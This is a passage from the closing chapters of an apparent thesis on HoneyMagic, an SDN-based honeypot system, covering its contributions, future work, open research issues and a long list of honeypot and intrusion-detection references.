Second, a novel SDN based transparent TCP connection handover approach is proposed. The Ryu SDN framework based controller applications and the specific revised softswitch¹³ that performs the sequence number synchronization have been developed to validate this idea. This approach takes advantages of the SDN techniques to control the traffic and direct it to different honeypots that use an identical fingerprint (IP and MAC addresses). Therefore, it provides a stealthy traffic redirection mechanism to avoid the easy detection by the skilled attackers.

Third, a customizable data control mechanism is presented, which is aimed to allow the users to configure the traffic filtering, forwarding and redirection rules according to their own requirement. The approach is implemented by integrating the Snort into the Ryu SDN framework based controller applications. The rule format of Snort is applied to allow the user to set arbitrary data control rules. The controller translates the Snort rules into flow entries and installs them into the OVS as the first filtering stage, and in the second filtering stage, it also uses Snort to make the redirection decision based on the first payload packet of each connection.

In addition, a number of experiments have been presented in order to validate the corresponding functionality proposed by the HoneyMagic. Also, some compared tests have been conducted for demonstrating the advantages of the HoneyMagic to the previous tools such as Honeybrid.

9.2. Future Work

Though a novel honeypot system has been proposed in this thesis and its main functions have been validated, this system still has a number of unfinished works and limitations, which can be taken into account as the future works. The guidelines to these works will be presented, so they can be undertaken in the future.

First of all, the honeypot system currently only uses two criteria to classify the traffic. Admittedly, the source-destination and signature based approach are two widely used since they are simple and effective, but some applications need more complex traffic classification methods. For example, a honeypot system may consider filtering the repeated attacks in order to improve the data capture efficiency, so it should have a way to characterize each captured malicious pattern and discard the duplicate attacks. Therefore, the development of the data characterization based and other advanced classification approaches should be investigated to fulfil the more complex traffic filtering requirements.

Second, the present controller applications take the redirection decision based on the first payload packet of each connection. This decision approach has some limitations. On the one hand, some decision can be made only based on the packet header information. Therefore, this approach lacks the traffic filtering efficiency. In this case, the controller can decide the traffic destination at the time point when it gets the SYN packet instead of making decision until finish the three-way handshake. Moreover, it can even avoid the three-way handshake replay if the connection needs to be handover. On the other hand, as mentioned before, the current decision approach is also not flexible enough since it only focuses on inspecting the first payload packets, however, there are various attacks can carry malicious patterns not or not only in the first payload packets. Therefore, it is reasonable to evaluate more payload packets. But it needs further research on how many packets should be buffered, since caching the traffic will result in the decision making delay that can cause attacker's suspicion.

Third, as the outbound traffic from the HIHs must be controlled in order to avoid attacking the non-honeypot systems, the traffic containment functionality has to be provided. The present system only considers using the outbound traffic limitation method, which is a brute and easy detective way. A more sophisticated way is to redirect the outbound traffic into a honeypot that emulates the potential victim non-honeypot system. This approach needs the capability of responsive and dynamic decoy creation and stealthy traffic redirection. The Honeyvers has the decoy dynamic creation ability

and the SDN controller's programmable feature can also fulfil the transparent traffic redirection. Therefore, it is feasible to facilitate this idea based on HoneyMagic in the future.

Fourth, the scenario automated generation also needs to be considered in case the user wants to clone some real network scenario and emulate it as a honeynet. Honeyvers can accept manual input/request, but hand writing is a tedious task. Automated request creation is required in many scenarios. A sensor could be presented as an instance of automated information collector to generate and send request to the Honeyvers. The sensor could be used to generate automated input by scanning the target production network. The scan process can be shown in Figure 62.

Figure 62. Scan Process: The thick lines correspond to control channel events while the dashed lines denote flow of data

The objective of this sensor is to generate the corresponding honeynet description through scanning a target production network, and using the free IP addresses to assign them to the cloning decoys. The scan process starts with probing engine issuing a port/OS to a target production network. The probing engine can probe the target production network and collect data including IP address, operating system, services and open ports. The data of production systems can be generated as XML output. Afterwards, the sensor can use TIHDL to formalize the data and generate a complete honeynet description by assigning free IP addresses to the honeypots. The sensor then can scan the target network within certain interval for synchronizing the target one in time. The sensor can compare the current honeynet description to the stored one in order to update the cloning decoys'

states, whilst the sensor will update the database. Consequently, if there is a request generated, the sensor can send it to Honeyvers through a socket. This Nmap based sensor can work well for scanning the flat network topology but has limitation in getting a complete topology from scanning a network which has more than one hop. So, the future researchers can develop the sensor according to this description or even to propose a more advanced one for honeynet clone.

9.3. Open issues

In addition to the future work, we cite in this subsection some further open issues, which are related to the security research, in the context of honeypot systems, and can be considered as long-term challenges.

First, the deep packet inspection (DPI) is a traffic analysis trend. At present, services may bind to a non-traditional port, which makes the intrusion detection more difficult. For example, a traditional intrusion detection system may fail to make alert for the correct attacked service. DPI is aimed to deeply evaluate the network traffic, which can largely reduce this type of false alert. However, there is little work focus on integrating DPI framework into honeypot systems to provide more accurate traffic analysis. Therefore, it is an open issue that should be taken into account.

Second, as honeypots are often used to study the unknown attacks, the automated malicious behavior analysis and signature generation is a challenge. The terminology regarding this issue is called attack profiling. At present, most forensics are human involved. Admittedly, there are some tools that can help performing automated profiling in order to obtain attack information, such as the source and destination addresses, exploited vulnerability, attacker role, etc. However, some other information, such as the attack motives, must rely on the security experts to profile. Several related automatic tools, e.g. security information and event management (SIEM) software, can be taken into account to facilitate this task, while the cooperation between honeypots and SIEM need further development in the future.

Third, to deal with unknown attacks, a machine learning technologies should be trained to make conscious and diligent to detect unseen attacks. Machine learning is used to extract valid, novel, potentially useful and meaningful patterns from a dataset, usually large, in a domain of interest by using non-trivial mechanisms. A machine learning algorithm attempts to recognize complex patterns in datasets to help make intelligent decisions or predictions when it encounters new or previously unseen data instances. Training machine learning algorithms on the datasets captured by the

honeypots and using them to detect unknown attacks or even predict unseen attacks is a challenging but promising work.

Besides, because of the rapid development of virtualization technology, the honeypot development also takes the advantages of the virtualized tools, which brings the easy management and resource efficiency. However, there are also some challenges need to be considered. Firstly, it is an important task to use virtualization technology to perform compromised system recovering in order to restore the hacking crime scene for forensics. Though a number of works have been presented, it is still an open issue. Secondly, the semantic gap issues must be taken into account when using the virtual machine introspection to investigate the captured system data in a HIH. Though some approaches have been proposed, such as using the LibVMI as a programming interface to monitor the low-level details of a running virtual machine, it still needs further research on using virtual machine introspection to analyze the HIHs in real time.

It is impossible to enumerate all open issues, this subsection only presents several ones, and there are some other well-known open issues within the honeypot research areas, such as the anti-detection techniques mentioned in the state of the art. In summary, the open issues often include knowledge with inter-discipline. In order to cope with these open issues, it often needs expertise with knowledge in multi-domains and collaborate experts from different research areas. Nevertheless, the thinking on these open issues will bring helps to enhance the development of this research area.

References

- [1] S. Brandes, “The newest warfighting domain: Cyberspace,” *Synesis: A Journal of Science, Technology, Ethics, and Policy*, vol. 4, pp. G90–95, 2013.
- [2] “Internet security threat report,” Symantec, Technical Report, 2016.
- [3] G. J. Rattray, “An environmental approach to understanding cyberpower,” *Cyberpower and National Security*, pp. 253–274, 2009.
- [4] Bruce Schneier, “Secrets and Lies: Digital Security in a Networked World,” 1st edition, London: Wiley, January 30, 2004
- [5] D. E. Denning, “An intrusion detection model,” *IEEE Transactions on Software Engineering*, Special issue on computer security and privacy, 13(2):222–232, 1987.
- [6] Axelsson S., “Intrusion Detection Systems: A Survey and Taxonomy,” Department of Computer Engineering, Chalmers University of Technology, Goteborg, Sweden, Technical report 99-15, March 2000
- [7] Richard J. Bolton and David J. Hand, “Statistical Fraud Detection: A Review,” *Statistical Science*, Vol. 17, No. 3, pp. 235–255, 2002
- [8] Michael E. Locasto, Ke Wang, Angelos D. Keromytis, and Salvatore J. Stolfo, “FLIPS: hybrid adaptive intrusion prevention,” 8th international conference on Recent Advances in Intrusion Detection, Seattle, WA, USA, September 7-9, 2005.
- [9] Lam, V. T., Mitzenmacher, M. & Varghese, G., “Carousel: Scalable Logging for Intrusion Prevention Systems,” In *NSDI : USENIX Association*, pp. 361-376, 2010.
- [10] T. Toth, “Improving Intrusion Detection Systems,” PhD thesis, Technical University of Vienna, Vienna, Austria, 2003.
- [11] P. Kabiri and A. A. Ghorbani, “Research on intrusion detection and response: A survey,” In *International Journal of Network Security*, volume 1, 2005.
- [12] Stakhanova, N., Basu, S., Wong, J., “A taxonomy of intrusion response systems,” *Intr’l Journal of Information and Computer Security* 1, 169–184 (2007)
- [13] Stephan Riebach, Erwin P. Rathgeb, Birger Toedtman, “Efficient Deployment of Honeynets for Statistical and Forensic Analysis of Attacks from the Internet,” *Proceedings of 4th International IFIP-TC6 Networking Conference*, Waterloo, Canada, May 2-6, 2005.

- [14] Stoll, C., "The Cuckoo's Egg: Tracking a Spy Through the Maze of Computer Espionage," New York: Pocket, 1990.
- [15] Bill Cheswick, "An Evening with Berferd in Which a Cracker Is Lured, Endured, and Studied" In Proc. Winter USENIX Conference, pages: 163-174, 1992.
- [16] L. Spitzner, "Honeypots: catching the insider threat," Computer Security Applications Conference, 2003. Proceedings. 19th Annual, 2003, pp. 170-179.
- [17] L. Spitzner, "The honeynet project: trapping the hackers," IEEE Security Privacy, vol. 1, no. 2, pp. 15–23, Mar 2003.
- [18] The Honeynet Project. (2006, May 31). *Know Your Enemy: Honeynets* [Online]. Available: <http://old.honeynet.org/papers/honeynet/>.
- [19] D. Moore, C. Shannon, G. Voelker, and S. Savage, "Network Telescopes: Technical Report", Tech. rep., Cooperative Association for Internet Data Analysis (CAIDA), Jul 2004
- [20] Team CYMRU. *The darknet project* [Online]. Viewed 2015 July 13. Available: <http://www.team-cymru.org/darknet.html>
- [21] Dug Song, Rob Malan, and Robert Stone. "A snapshot of global Internet worm activity," Proceedings of first conference on computer security incident handling and response, June 2002.
- [22] The Honeynet Project, *Know Your Enemy: Learning about Security Threats*, 2nd Edition, Boston: Addison-Wesley Professional, May 27, 2004
- [23] Niels Provos and Thorsten Holz, *Virtual Honeypots: From Botnet Tracking to Intrusion Detection*, 1st ed., Boston: Addison-Wesley Professional, 2007
- [24] Vinod Yegneswaran, Paul Barford and Dave Plonka, "On the design and use of Internet sinks for network abuse monitoring," In Proceedings of the 7th International Symposium on Recent Advances in Intrusion Detection (RAID 2004), Sophia Antipolis, French Riviera, France, October 2004.
- [25] Ruoming Pang, Vinod Yegneswaran, Paul Barford, Vern Paxson, and Larry Peterson, "Characteristics of Internet background radiation," In Proceedings of the 4th ACM SIGCOMM conference on Internet measurement, pages 27–40. ACM Press, 2004.
- [26] Michael Bailey, Evan Cooke, Farnam Jahanian, Niels Provos, Karl Rosaen, and David Watson, "Data reduction for the scalable automated analysis of distributed darknet traffic," In Proceedings of the 5th ACM SIGCOMM conference on Internet Measurement (IMC '05). USENIX Association, Berkeley, CA, USA, 2005
- [27] Michael Bailey, Evan Cooke, Farnam Jahanian, Jose Nazario, and David Watson, "The Internet Motion Sensor: A distributed blackhole monitoring system," In Proceedings of Network and Distributed System Security Symposium (NDSS '05), San Diego, CA, February 2005.

- [28] M. Bailey, E. Cooke, D. Watson, F. Jahanian, and N. Provos, "A hybrid honeypot architecture for scalable network monitoring," Technical Report CSE-TR-499-04, U. Michigan, October, 2004.
- [29] Georgios Portokalidis, Herbert Bos, "SweetBait: Zero-hour worm detection and containment using low- and high-interaction honeypots," Computer Networks, Volume 51, Issue 5, pp. 1256-1274, 11 April 2007.
- [30] Weidong Cui, Vern Paxson, Nicholas Weaver, and Randy H. Katz, "Protocol-independent adaptive replay of application dialog," In Proceedings of the 2006 Network and Distributed System Security Symposium, February 2006.
- [31] Anagnostakis, K. G., et al., "Detecting targeted attacks using shadow honeypots," Proceedings of the 14th conference on USENIX Security Symposium. ACM, 2005. 129-144.
- [32] R. P. van Heerden, B. Irwin, I. D. Burke, "Classifying network attack scenarios using an Ontology," Proceedings of the 7th International Conference on Information Warfare and Security. Academic Conferences Limited, pages 331-324, 2012
- [33] C. Simmons, C. Ellis, S. Shiva, D. Dasgupta, Q. Wu, "AVOIDIT: A cyber attack taxonomy," Annual Symposium on Information Assurance, 2014
- [34] Lance Spitzner, Honeypots: Tracking Hackers, Boston: Addison-Wesley Professional, September 20, 2002
- [35] David Dagon, Xinzhou Qin, Guofei Gu, Wenke Lee, Julian Grizzard, John Levine, and Henry Owen, "HoneyStat: Local Worm Detection Using Honeypots," In Proceedings of the 7th International Symposium on Recent Advances in Intrusion Detection (RAID'04) , French Riviera, France. September 15-17, 2004.
- [36] Damiano Bolzoni, Sandro Etalle, and Pieter H. Hartel., "Panacea: Automating attack classification for anomaly-based network intrusion detection systems," Recent Advances in Intrusion Detection. Springer Berlin Heidelberg, 2009.
- [37] The Honeynet Project. (2003, November 17). *Know Your Enemy: Sebek, A kernel based data capture tool* [Online]. Available: <http://old.honeynet.org/papers/sebek.pdf>
- [38] The Honeynet Project. (2010, Nov. 03). Know Your Tools: Qebek – Conceal the Monitoring [Online]. Available: http://www.honeynet.org/papers/KYT_qebek.
- [39] C. Willems, T. Holz, and F. Freiling, "Toward automated dynamic malware analysis using cwsandbox," IEEE Security Privacy, vol. 5, no. 2, pp. 32–39, March 2007.
- [40] Xuxian Jiang and Xinyuan Wang, "'Out-of-the-Box' monitoring of VM-based high-interaction honeypots," In Proceedings of the 10th international conference on Recent advances in intrusion detection (RAID'07), Springer-Verlag, Berlin, Heidelberg, pp. 198-218, 2007.

- [41] Jonas Pföh, Christian Schneider, and Claudia Eckert, "Nitro: hardware-based system call tracing for virtual machines," In Proceedings of the 6th International conference on Advances in information and computer security (IWSEC'11), Springer-Verlag, Berlin, Heidelberg, pp. 96-112, 2011
- [42] LibVMI project (2015). *LibVMI*. [Online]. Available: <http://libvmi.com/>
- [43] T. Garfinkel and M. Rosenblum, "A virtual machine introspection based architecture for intrusion detection," in In Proc. Network and Distributed Systems Security Symposium, 2003, pp. 191–206.
- [44] B. D. Payne, M. Carbone, M. Sharif, and W. Lee, "Lares: An architecture for secure active monitoring using virtualization," in 2008 IEEE Symposium on Security and Privacy (sp 2008), May 2008, pp. 233–247.
- [45] X. Jiang, X. Wang, and D. Xu, "Stealthy malware detection through vmm-based "out-of-the-box" semantic view reconstruction," in Proceedings of the 14th ACM Conference on Computer and Communications Security, ser. CCS '07. New York, NY, USA: ACM, 2007, pp. 128–138.
- [46] D. Srinivasan and X. Jiang, "Time-traveling forensic analysis of vm-based high-interaction honeypots," in Proceedings of the 7th International Conference on Security and Privacy in Communication Networks, ser. SecureComm2011, London, UK, September 2011.
- [47] B. Dolan-Gavitt, T. Leek, M. Zhivich, J. Giffin, and W. Lee, "Virtuoso: Narrowing the semantic gap in virtual machine introspection," in 2011 IEEE Symposium on Security and Privacy, May 2011, pp. 297–312.
- [48] T. K. Lengyel, S. Maresca, B. D. Payne, G. D. Webster, S. Vogl, and A. Kiayias, "Scalability, fidelity and stealth in the drakvuf dynamic malware analysis system," in Proceedings of the 30th Annual Computer Security Applications Conference, ser. ACSAC '14. New York, NY, USA: ACM, 2014, pp. 386–395.
- [49] Lengyel, T.K., Neumann, J., Maresca, S., Payne, B.D., Kiayias, A., "Virtual machine introspection in a hybrid honeypot architecture," In Proceedings of the 5th USENIX Conference on Cyber Security Experimentation and Test, CSET 2012, p. 5. USENIX Association, Berkeley, 2012
- [50] Alata, Éric, Ion Alberdi, Vincent Nicomette, Philippe Owezarski, and Mohamed Kaâniche, "Internet attacks monitoring with dynamic connection redirection mechanisms," Journal in Computer Virology 4, no. 2 (2008): 127-136.
- [51] R. R. Koch and S. Hortikar and L. E. Moser and P. M. Melliar-smith, "Transparent TCP connection failover," In Proc. Intl. Conference on Dependable Systems and Networks (DSN), San Francisco, pp. 383-392, 22-25 June 2003
- [52] Ikebe, T.; Kawarasaki, Y.; Yamanaka, J.; Yao, H., "Practical TCP session take-over method for high-availability network service," APSITT 2005 Proceedings of 6th Asia-Pacific

Symposium on Information and Telecommunication Technologies, Yangon, pp.1,6, 10-10 Nov. 2005

[53] Surton, R.; Birman, K.; van Renesse, R., "Application-driven TCP recovery and non-stop BGP," Proceedings of 43rd Annual IEEE/IFIP International Conference on Dependable Systems and Networks (DSN), Budapest, pp.1-12, 24-27 June 2013

[54] Benoît Chesneau (2011). *tproxy 0.5.4*. Available: <https://pypi.python.org/pypi/tproxy/0.5.4>

[55] Philip Aston, Calum Fitzgerald. (2013). *The Grinder*. Available: <http://grinder.sourceforge.net/g3/tcpproxy.html>

[56] Robin Berthier, Michel Cukier, Honeybrid: A Hybrid Honeygot Architecture, USENIX Security Symposium 2008

[57] Harald Welte, Pablo Neira Ayuso. (2014). *The netfilter.org "libnetfilter_queue" project* [Online]. Available: http://www.netfilter.org/projects/libnetfilter_queue/

[58] Ying-Dar Lin, Tzung-Bi Shih, Yu-Sung Wu, Yuan-Cheng Lai, "Secure and transparent network traffic replay, redirect, and relay in a dynamic malware analysis environment," Security Comm. Networks, 7(3): 626-640, 2013

[59] Tamas K. Lengyel, Justin Neumann, Steve Maresca, Aggelos Kiayias, "Towards Hybrid Honeynets via Virtual Machine Introspection and Cloning", Network and System Security , Lecture Notes in Computer Science Volume 7873, pp. 164-177, 2013.

[60] X. Jiang and D. Xu., "Collapsar: A VM-based architecture for network attack detention center," In Proceedings of the USENIX Security Symposium, August 2004.

[61] Michael Vrabie, Justin Ma, Jay Chen, David Moore, Erik Vandekieft, Alex C. Snoeren, Geoffrey M. Voelker, and Stefan Savage, "Scalability, fidelity, and containment in the Potemkin virtual honeyfarm," In SOSP '05: Proceedings of the Twentieth ACM Symposium on Operating Systems Principles, pp. 148–162, New York, 2005. ACM Press.

[62] A. Binder, T. Boros, and I. Kotuliak, A SDN Based Method of TCP Connection Handover. Cham: Springer International Publishing, 2015, pp. 13–19.

[63] T. Xing, Z. Xiong, D. Huang, and D. Medhi, "Sdnips: Enabling software-defined networking based intrusion prevention system in clouds," in 10th International Conference on Network and Service Management (CNSM) and Workshop, Nov 2014, pp. 308–311.

[64] P. K. Shanmugam, N. D. Subramanyam, J. Breen, C. Roach, and J. Van der Merwe, "Deidtect: Towards distributed elastic intrusion detection," in Proceedings of the 2014 ACM SIGCOMM Workshop on Distributed Cloud Computing, ser. DCC '14. New York, NY, USA: ACM, 2014, pp. 17–24.

[65] C. J. Chung, P. Khatkar, T. Xing, J. Lee, and D. Huang, "Nice: Network intrusion detection and countermeasure selection in virtual network systems," IEEE Transactions on Dependable and Secure Computing, vol. 10, no. 4, pp. 198–211, July 2013.

- [66] M. Roesch, "Snort - lightweight intrusion detection for networks," in Proceedings of the 13th USENIX Conference on System Administration, ser. LISA '99. Berkeley, CA, USA: USENIX Association, 1999, pp. 229–238.
- [67] V. Paxson, "Bro: A system for detecting network intruders in real-time," *Comput. Netw.*, vol. 31, no. 23-24, pp. 2435–2463, Dec. 1999.
- [68] Kuwatly, I.; Sraj, M.; Al Masri, Z.; Artail, H.; "A dynamic honeypot design for intrusion detection," *Pervasive Services*, 2004. ICPS 2004. Proceedings. The IEEE/ACS International Conference on , vol., no., pp. 95- 104, 19-23 July 2004
- [69] Michal Zalewski. (2012-2014). *pof v3* [Online]. Available: <http://lcamtuf.coredump.cx/p0f3/>
- [70] G. Lyon, "Namp," 2015. [Online]. Available: <http://nmap.org/>
- [71] N. Provos, "A Virtual Honeypot Framework," *SSYM'04 Proceedings of the 13th conference on USENIX Security Symposium*, volume 13, 2004.
- [72] Christopher Hecker, Kara L. Nance, and Brian Hay, "Dynamic Honeypot Construction," *Proceedings of the 10th Colloquium for Information Systems Security Education*, June 5-8, 2006
- [73] *Namp* [Online]. Viewed 2015 Feb. 15. Available: <http://nmap.org/>
- [74] Hecker, Christopher; Hay, Brian, "Automated Honeynet Deployment for Dynamic Network Environment," *System Sciences (HICSS)*, 46th Hawaii International Conference on, vol., no., pp.4880,4889, 7-10 Jan. 2013
- [75] Xuxian Jiang, Dongyan Xu, "BaitTrap: A Catering Honeypot Framework," *Department of Computer Science Technical Report CSD TR 04-0xx*, Purdue University, August 2004
- [76] Wang, H., Chen, Q., "Dynamic Deploying Distributed Low-interaction Honeynet," *Journal of Computers*, North America, 7, Mar. 2012.
- [77] Sebastian Biedermann, Martin Mink, and Stefan Katzenbeisser, "Fast dynamic extracted honeypots in cloud computing," In *Proceedings of the 2012 ACM Workshop on Cloud computing security workshop (CCSW '12)*. ACM, New York, NY, USA, 13-18, 2012.
- [78] Gérard Wagener, Radu State, Alexandre Dulaunoy, Thomas Engel, "Self Adaptive High Interaction Honeypots Driven by Game Theory," *Proceedings of 11th International Symposium, SSS 2009*, Lyon, France, pp. 741-75, November 3-6, 2009.
- [79] Chang-Lung Tsai1 and Min-Hsiung Hung, "Intrusive Behavior Analysis Based on Dynamic Honeynet and Multidimensional Hidden Markov Model," *JOURNAL of C.C.I.T.*, vol.40, No.1, pp.29-42, May, 2011
- [80] Joseph Corey, (2003, September). Local honeypot identification [Online]. Available: <http://www.ouah.org/p62-0x07.txt>

- [81] Joseph Corey, (2004, January). Advanced honeypot identification [Online]. Available: <http://www.ouah.org/p63-0x09.txt>
- [82] Neal Krawetz, "Anti-Honeypot Technology," IEEE Security and Privacy, volume 2, issue 1, pp. 76-79, January 2004.
- [83] Fu, Xinwen, Bryan Graham, Dan Cheng, Riccardo Bettati, and Wei Zhao. "Camouflaging virtual honeypots," In In Texas A&M University. 2005.
- [84] Grizzard, J.B.; Krasser, Sven; Owen, Henry L.; Conti, G.J.; Dodson, E.R., "Towards an approach for automatically repairing compromised network systems," in Proceedings of Third IEEE International Symposium on Network Computing and Applications, (NCA 2004), vol., no., pp.389-392, 30 Aug.-1 Sept. 2004
- [85] Grizzard, Julian B., John G. Levine, and Henry L. Owen., "Re-establishing trust in compromised systems: Recovering from rootkits that trojan the system call table," In Computer Security-ESORICS 2004, pp. 369-384. Springer Berlin Heidelberg, 2004.
- [86] The Honeynet Project. (2005, May 17). *Know Your Enemy: Honeywall CDROM* [Online]. Available: <http://old.honeynet.org/papers/cdrom/>.
- [87] The Honeynet Project. (2004, May 07). *Know Your Enemy: Honeywall CDROM Eeyore* [Online]. Available: <http://old.honeynet.org/papers/cdrom/eeyore/index.html>.
- [88] The Honeynet Project. (2005, May 12). *Know Your Enemy: GenII Honeynets* [Online]. Available: <http://old.honeynet.org/papers/gen2/>.
- [89] The Honeynet Project. (2005, August 17). *Know Your Enemy: Honeywall CDROM Roo* [Online]. Available: <http://old.honeynet.org/papers/cdrom/roo/index.html>.
- [90] The Honeynet Project. (2003, January 27). *Know Your Enemy: Defining Virtual Honeynets* [Online]. Available: <http://old.honeynet.org/papers/virtual/>.
- [91] Hassan Artail, Haidar Safa, Malek Sraj, Iyad Kuwatly, Zaid Al-Masri, "A hybrid honeypot framework for improving intrusion detection systems in protecting organizational networks," Computers & Security, Volume 25, Issue 4, pp. 274-288, June 2006.
- [92] Leita, C.; Dacier, M., "SGNET: A Worldwide Deployable Framework to Support the Analysis of Malware Threat Models," Dependable Computing Conference, 2008. EDCC 2008. Seventh European , vol., no., pp.99,109, 7-9 May 2008.
- [93] Leita, C.; Mermoud, K.; Dacier, M., "ScriptGen: an automated script generation tool for Honeyd," in Computer Security Applications Conference, 21st Annual , vol., no., pp.12 pp.-214, 5-9 Dec. 2005
- [94] C. Leita, M. Dacier, and F. Massicotte, "Automatic handling of protocol dependencies and reaction to 0-day attacks with ScriptGen based honeypots," In RAID 2006, 9th International Symposium on Recent Advances in Intrusion Detection, September 20-22, 2006, Hamburg, Germany - Also published as Lecture Notes in Computer Science Volume 4219/2006, Sep 2006.

- [95] G. Portokalidis, A. Slowinska, and H. Bos, "Argos: an emulator for fingerprinting zero-day attacks," Proc. ACM SIGOPS EUROSYS, 2006
- [96] James Newsome and Dawn Song. "Dynamic taint analysis: Automatic detection, analysis, and signature generation of exploit attacks on commodity software." In In Proceedings of the 12th Network and Distributed Systems Security Symposium. 2005.
- [97] M. Egele, T. Scholte, E. Kirda, and C. Kruegel, "A survey on automated dynamic malware-analysis techniques and tools," ACM Comput. Surv., vol. 44, no. 2, pp. 6:1–6:42, Mar. 2008.
- [98] K. Rieck, P. Trinius, C. Willems, and T. Holz, "Automatic analysis of malware behavior using machine learning," J. Comput. Secur., vol. 19, no. 4, pp. 639–668, Dec. 2011.
- [99] P. Baecher, M. Koetter, T. Holz, M. Dornseif, and F. Freiling, "The Nepenthes Platform: An Efficient Approach to Collect Malware," Proceedings of the 9th International Symposium on Recent Advances in Intrusion Detection (RAID), September 2006.
- [100] The HoneyNet Project. (2011, Nov. 3). Dionaea - caught bugs [Online]. Available: <http://dionaea.carnivore.it/>
- [101] M. Oosterhof, "Cowrie - active kippo fork," July 2015. [Online]. Available: <http://www.micheloosterhof.com/cowrie/>
- [102] F. Galán, D. Fernández, W. Fuertes, M. Gómez, and J. E. López de Vergara, "Scenario-based virtual network infrastructure management in research and educational testbeds with vnuml," annals of telecommunications - annales des télécommunications, vol. 64, no. 5, pp. 305–323, 2009.
- [103] Lok Kwong Yan, "Virtual honeynets revisited," Information Assurance Workshop, 2005. IAW '05. Proceedings from the Sixth Annual IEEE SMC , vol., no., pp.232,239, 15-17 June 2005.
- [104] F. Galán, D. Fernández, "Use of VNUML in Virtual Honeynets Deployment," IX Reunión Española sobre Criptología y Seguridad de la Información (RECSI), Barcelona (Spain), ISBN: 84-9788-502-3. September 2006
- [105] Stumpf, F., Görlach, A., Homann, F., Bruuckner, L., "NoSE - building virtual honeynets made easy," In Proceedings of the 12th International Linux System Technology Conference, Hamburg, Germany, 2005.
- [106] Abbasi, F.H.; Harris, R.J., "Experiences with a Generation III virtual HoneyNet," Telecommunication Networks and Applications Conference (ATNAC), 2009 Australasian , vol., no., pp.1,6, 10-12 Nov. 2009.
- [107] Capalik, Alen, "Next-Generation HoneyNet Technology with Real-Time Forensics for U.S. Defense," Military Communications Conference, 2007. MILCOM 2007. IEEE , vol., no., pp.1,7, 29-31 Oct. 2007.

- [108] Memari, Nogal; Hashim, Shaiful Jahari B.; Samsudin, Khairulmizam B., "Towards virtual honeynet based on LXC virtualization," Region 10 Symposium, 2014 IEEE, vol., no., pp.496,501, 14-16 April 2014.
- [109] Fernández, D.; Cordero, A.; Somavilla, J.; Rodriguez, J.; Corchero, A.; Tarrafeta, L.; Galan, F., "Distributed virtual scenarios over multi-host Linux environments," 5th International DMTF Academic Alliance Workshop on Systems and Virtualization Management (SVM), pp.1-8, Oct. 24, 2011
- [110] Levine John, Richard LaBella, Henry Owen, Didier Contis, and Brian Culver, "The use of honeynets to detect exploited systems across large enterprise networks," Proceeding of IEEE Information Assurance Workshop of Systems, Man and Cybernetics Society, pp. 92-99, 2003.
- [111] Chin, W. Y., Evangelos P. Markatos, Spiros Antonatos, and Sotiris Ioannidis, "Honeylab: large-scale honeypot deployment and resource sharing," Proceedings of the third IEEE International Conference on Network and System Security, NSS'09, pp. 381-388, 2009.
- [112] Bertrand Sobesto, Michel Cukier, Matti A. Hiltunen, Dave Kormann, Gregg Vesonder, and Robin Berthier, "DarkNOC: Dashboard for Honeypot Management," In LISA. 2011.
- [113] E. Kohler, R. Morris, B. Chen, J. Jannotti, and M. F. Kaashoek, "The click modular router," ACM Trans. Comput. Syst., vol. 18, no. 3, pp. 263–297, Aug. 2000.
- [114] W. Cui, V. Paxson, and N. C. Weaver, "GQ: Realizing a system to catch worms in a quarter million places," University of California, Berkeley, CA, Technical Report TR-06-004, 2006.
- [115] S. Li and R. Schmitz, "A novel anti-phishing framework based on honeypots," in 2009 eCrime Researchers Summit, Sept 2009, pp. 1–13.
- [116] C. Yoon, T. Park, S. Lee, H. Kang, S. Shin, and Z. Zhang, "Enabling security functions with sdn: A feasibility study," Computer Networks, vol. 85, no. C, pp. 19 – 35, 2015.
- [117] R. McGrew and R. B. Vaughn JR, "Experiences with honeypot systems: Development, deployment, and analysis," in Proceedings of the 39th Annual Hawaii International Conference on System Sciences (HICSS'06), vol. 9, Jan 2006, p. 220a.
- [118] Zhang, F., Zhou, S., Qin, Z., and Liu, J., "Honeypot: a Supplemented Active Defense System for Network Security," In 4th IEEE International Conference on Parallel and Distributed Computing Applications and Technologies, pp. 231–235, Chengdu, 2003.
- [119] Christian Seifert, Ian Welch, Peter Komisarczuk, "Taxonomy of Honeypots," School of Mathematical and Computing Sciences, VICTORIA UNIVERSITY OF WELLINGTON, Technical Report CS-TR-06/12, June 2006.
- [120] Matthew L. Bringer, Christopher A. Chelmecki, Hiroshi Fujinoki, "A Survey: Recent Advances and Future Trends in Honeypot Research," IJCNIS, vol.4, no.10, pp.63-75, 2012.
- [121] M. Nawrocki, M. Wählisch, C. Schmidt, T. C. Keil, and J. Schönfelder, "A survey on honeypot software and data analysis," ArXiv e-prints, Aug. 2016.

- [122] CERT Polska (NASK). (2012, Nov. 22). *Proactive Detection of Security Incidents: Honeypots*. ENISA - European Network and Information Security Agency, Greece, [Online]. Available: <http://www.enisa.europa.eu/activities/cert/support/proactive-detection/proactive-detection-of-security-incidents-II-honeypots>
- [123] Hernacki, B., Bennett, J., and Lofgran, T. "Symantec Deception Server: Experience with a Commercial Deception System," Proceedings of the 7th International Symposium, RAID 2004, Sophia Antipolis, France, September 15 - 17, 2004.
- [124] Hansman, S., Hunt, R., "A taxonomy of network and computer attacks," Computer & Security, February, 2005
- [125] Cuckoo Foundation. (2014, Oct. 29). *Cuckoo* [Online]. Available: <http://www.cuckoosandbox.org/>
- [126] NETSEC. (2015). Specter [Online]. Viewed 2015 Feb. 15. Available: <http://www.specter.com/>
- [127] L. Rist, "Glastopf project," 2009. [Online]. Available: <http://glastopf.org/>
- [128] R. do Carmo, M. Nassar, and O. Festor, "Artemisa: An open-source honeypot back-end to support security in voip domains," in 12th IFIP/IEEE International Symposium on Integrated Network Management (IM 2011) and Workshops, May 2011, pp. 361–368.
- [129] S. Poeplau and J. Gassen, "A honeypot for arbitrary malware on usb storage devices," in 2012 7th International Conference on Risks and Security of Internet and Systems (CRiSIS), Oct 2012, pp. 1–8.
- [130] A. Podhradsky, C. Casey, and P. Ceretti, "The bluetooth honeypot project: Measuring and managing bluetooth risks in the workplace," Int. J. Interdiscip. Telecommun. Netw., vol. 4, no. 3, pp. 1–22, Jul. 2012.
- [131] L. Rist, J. Vestergaard, D. Haslinger, A. Pasquale, and J. Smith, "Conpot ics/scada honeypot," November 2013. [Online]. Available: <http://conpot.org/>
- [132] Y. M. P. Pa, S. Suzuki, K. Yoshioka, T. Matsumoto, T. Kasama, and C. Rossow, "IoTPOT: Analysing the rise of iot compromises," in 9th USENIX Workshop on Offensive Technologies (WOOT 15). Washington, D.C.: USENIX Association, Aug. 2015.
